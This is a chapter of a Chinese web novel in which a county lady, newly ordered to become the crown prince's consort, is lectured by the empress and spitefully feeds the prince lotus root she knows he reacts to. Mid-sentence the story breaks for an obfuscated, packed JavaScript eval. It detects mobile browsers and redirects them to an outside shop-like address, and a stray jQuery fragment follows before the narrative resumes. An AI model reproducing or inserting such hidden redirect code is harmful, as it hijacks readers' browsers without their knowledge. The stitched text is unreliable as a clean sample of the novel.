24. 倒霉透顶

作品:《太子逃妾

    谢蕴初不知何时被送回芳菲小院的,恍惚刚沾枕头就被春桃唤醒。


    “县主,快醒醒,东宫的冯公公带着圣旨来了,就在前厅,国公爷和公主让您赶紧去接旨呢!”


    什么圣旨?谢蕴初艰难睁开眼,浑浑噩噩,一时分不清是梦是醒。


    整个人行尸走肉般来到前厅跪下听旨,耳边是冯安宣读圣旨的声音,文绉绉的,听不懂,只抓住了几个字眼,“仰承皇命,赐予皇太子为侧妃”、“于八月十五吉时,入东宫伺候”、“钦此”。


    不知被谁戳了一下,提醒她:“阿姐,快接旨谢恩啊!”


    谢蕴初机械伸出双手,接过圣旨,额头触地:“臣女……叩谢皇恩,吾皇万岁。”


    送走冯安一行人后,安国公忍不住上前问道:“初初,到底是怎么回事?太子殿下他……这是何意啊?”


    虽说从生辰那日太子超规格的赏赐,就有了预感,但事情真的发生,还是觉得匪夷所思。


    满朝皆知,皇帝偏宠云妃和五皇子母子,想改立五皇子为储,为此和太子斗得焦头烂额,怎么可能为太子赐婚,巴不得他孤独终老才是。前来宣旨的又是东宫内侍监,说明这道圣旨,是太子亲自去求来的,或是利益交换,或是干脆逼宫,绝非皇帝初衷。


    太子一向对女儿不屑一顾,怎么会在这种太子妃悬而未决的敏感时刻,突然要纳她为侧妃?怎么想怎么离谱。


    谢蕴初扯出笑容,比哭还难看,嗓音沙哑:“许是太子殿下突然发现……他离不开我,非我不可了吧。”


    这话说得她自己都想笑。


    好不容易安抚好父母,刚瘫回床上沉入梦乡,又被春桃晃醒。


    “县主,快别睡了,皇后娘娘身边的女官来传口谕,娘娘召您即刻前往翠微殿。”


    谢蕴初真想装死算了,她浑身上下无一处不酸痛,脑子里更是像塞了一团浆糊,眼皮沉的睁开都费劲。


    可皇后召见,岂敢怠慢?


    她强撑着爬起来,匆忙的梳洗打扮后脚步虚浮地跟着女官往翠微殿去。


    午膳时分,烈日当空,一路晒的皮都快裂了,命怎么就这么苦?母子两个都是牲口,一个强横下旨逼婚,一个摆谱召见训话,简直是轮番上阵折腾她,不把她榨干不罢休!


    一进翠微殿,凉意袭来。


    裴皇后坐在主位,一身深紫色宫装,雍容华贵,保养得宜的脸上带着惯常温和却疏离的笑容。


    李持衡端坐在裴皇后下首,正与裴皇后低声说话。听到通传,他抬眸看了她一眼,随即移开。


    谢蕴初深吸一口气,规规矩矩地行了大礼:“臣女谢蕴初,拜见皇后娘娘,拜见太子殿下。”


    裴皇后颔首:“南康来了,正巧到了用膳的时候,你也一并坐下吧。”


    “谢娘娘。”


    谢蕴初刚想坐下,就听裴皇后又道:“圣旨已下,往后便是一家人,既为侧妃,当知侍奉太子是本分。今日,便由你来伺候太子用膳吧。”


    谢蕴初:“……”


    就知道裴皇后不是请她来吃饭的,她就多余挪一下屁、股!


    “是,娘娘。”


    桌上菜肴精致,琳琅满目,谢蕴初站在李持衡身侧只觉得头晕脑胀,腹中空空却又恶心得慌。觉不让睡,饭不让吃,还得站着伺候人,真是倒了八辈子血霉!


    她拿起银筷认命李持衡布菜,目光扫过桌面,定在一道清炒藕片上,手腕一转,夹起一大筷子藕片,稳稳当当放进李持衡面前的金边白玉碗里,期待地望着他。


    李持衡正听裴皇后说话,察觉她的目光,垂眸看了眼碗里的藕片,拿起银筷夹了一片送入口中,慢慢咀嚼。


    谢蕴初见状,心中冷笑,面上更加温柔体贴。她拿起李持衡面前的汤碗,为他盛了一碗莲藕排骨汤,双手捧到李持衡面前。


    “殿下日理万机,操劳耗神。这莲藕排骨汤最是健脾养胃,清心安神。殿下多喝一点,对身体好。”


    李持衡的视线扫过,汤碗里只有一块孤零零的排骨,汤水也浅得只没过碗底,唯有那切成小块的莲藕,堆得冒了尖,满满一碗。


    他伸手接过,声音平稳:“有劳。”


    接着面不改色拿起汤匙,开始喝汤吃藕。


    谢蕴初总算痛快了些,甚是解气。无他,只因李持衡一吃莲藕就起红疹。


    太子的喜好禁忌,自然藏得极深,不会轻易让人知晓,更别提这种可能危及性命的事。可她和李持衡同床共枕这么久,一起用膳的次数数不胜数。


    有两次,半夜她发现他身上起了大片的红疹,看着颇为吓人。她起初以为是蚊虫叮咬或者皮肤不适,关切询问,李持衡却总是沉默以对,或是含糊带过。


    后来,她留心观察后,终于发现,只要他用过含有莲藕的菜肴,夜里一定会起红疹。


    她当时问他:“你既然吃不了这个,为什么还要吃?让膳房注意不就好了?”


    李持衡回答:“喜怒不形于色,喜好勿让人知。”


    那时她只觉得心疼,觉得他活得太累,连吃东西都不能随心所欲,还得时刻防备。现在只剩下恶意和报复的快感。


    装是吧,痒死你!


    谢蕴初这边打着小算盘,暗自得意。李持衡却丝毫未恼,反而觉得温暖。


    他吃不了莲藕,连他的亲生母亲都未曾察觉,可谢蕴初却发现了,而且是在他刻意隐瞒的情况下,凭借对他的关注和爱发现的。


    这说明什么?


    说明她对他,是真的用心,是真的在关注他的一举一动。只要她肯用心,哪怕是借此撒气,故意让他难受,也足够了。


    一顿午膳下来,谢蕴初“尽心尽力”地给李持衡布菜,耳边充斥着裴皇后不紧不慢的训导,“入了东宫,要恭敬守礼,以太子为天”,“不可恃宠生娇,狐媚惑主”,“早日为皇家开枝散叶,才是正理”……


    谢蕴初耳朵都快起茧子了,面上却只能做出温顺受教的模样,裴皇后说一句,她便立刻躬身行礼,表示“皇后娘娘教诲的是”、“臣女谨记于心”。


    心里把李持衡骂了千百遍,这个王八蛋就坐在那里跟个没事儿人一样,一言不发,看着她被他娘敲打,连句解围的话都没有,一个劲往嘴里塞东西。


    吃吃吃,怎么不撑死你!


    终于裴皇后训话完毕,似乎也有些乏了,挥了挥手:“行了,该说的本宫都说了。你们且退下吧,本宫该歇息了。”


    谢蕴初如蒙大赦,连忙和李持衡一起行礼告退。


    出了翠微殿,午后的阳光有些刺眼。


    谢蕴初跟在李持衡身后,早就饿得前胸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100591|195253||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贴后背,肚子咕咕直叫,头也晕得厉害,只想赶紧回去喝一碗热汤,倒头睡下。


    越想越急,脚步越走越快,完全没注意到自己已经走到了李持衡前面。


    “站住。”


    谢蕴初走得更快了,仿佛身后有恶鬼在追。


    李持衡脸色微沉,瞥了冯安一眼。


    冯安心领神会,赶忙小跑着追了上去,压低声音,急急劝道:“县主!您快停停!快停停吧!这可不是在咱们东宫里头啊,这是在皇后娘娘的翠微殿外头,多少双眼睛看着呢!您就当心疼心疼奴才,好歹给殿下留点颜面吧!这么一前一后地闹别扭,传出去像什么话?奴才求您了,快回去给殿下赔个不是吧!”


    谢蕴初被他拦住去路,心中烦躁更甚,她揉了揉胀痛的额角,回道:“冯公公,我走得快些,离他远些,就是怕我控制不住脾气,在这人来人往的宫道上跟他吵起来,甚至动起手来。那才真是颜面扫地呢!我现在忍气吞声自己走开,已经很给他面子了。”


    冯安连忙作揖:“我的好县主!亲县主!您可快别说了,吓死奴才了,奴才可什么都没听见。奴才求您了,快回去给殿下赔个不是,这事儿就算过去了。殿下宽宏大量,不会跟您计较的。快回去吧,殿下还等着呢!”


    宽宏大量?李持衡要是宽宏大量,这世上就没小气的人了。


    这里毕竟是行宫,人多眼杂,她再气,也不能真的当众给太子难堪,那后果她承担不起。


    谢蕴初拖着沉重的脚步,慢吞吞挪回到李持衡面前,福身行礼。


    “臣女一时走得急了,思虑不周,失了礼数,还请殿下恕罪。不知殿下叫住臣女,有何吩咐?”


    李持衡身姿挺拔,午后的阳光在他身后投下长长的影子,无端让人脊背发凉。


    “南康县主《女则》《女训》习读不精,规矩礼仪亦有欠缺。既已受封东宫侧妃,更当勤加修习,以正德行。”


    他顿了顿,掠过她微微睁大的眼睛,继续道:“孤明日便派两位精于宫规礼教的嬷嬷,前往芳菲小院,精心教导县主。还请县主务必在入东宫之前,将各项规矩礼仪,烂熟于心,娴熟于行。”


    说完转身离去,一个多余的眼神都没给。


    谢蕴初僵在原地,派嬷嬷来教导她?在这行宫里,众目睽睽之下,跟当众扇她耳光有什么区别?


    回到芳菲小院,谢蕴初只觉得身心俱疲,连生气的力气都没有了,勉强喝了碗粥,便扑到床上昏睡过去。


    这一觉睡得极沉,连梦都没做一个。不知睡了多久,感觉有人在轻轻推她。


    “县主……县主,醒醒……”


    屋里只点了一盏昏暗的小灯,她头疼欲裂:“怎么了……天亮了?”


    春桃为难道:“还没亮呢……是冯公公来了,就在外头候着,说……说接您去玉华殿……”


    谢蕴初翻了个身,用被子蒙住头。


    “当我没醒。”


    “可是……冯公公说,殿下让他给您带句话……您要是不去……殿下……殿下就亲自过来请您……”


    谢蕴初倒吸一口凉气。


    开什么玩笑!这里是行宫,到处都是勋贵家眷,被人瞧见她还活不活?


    她气得浑身发抖,咬牙切齿地从齿缝里挤出几个字:“去!我去!”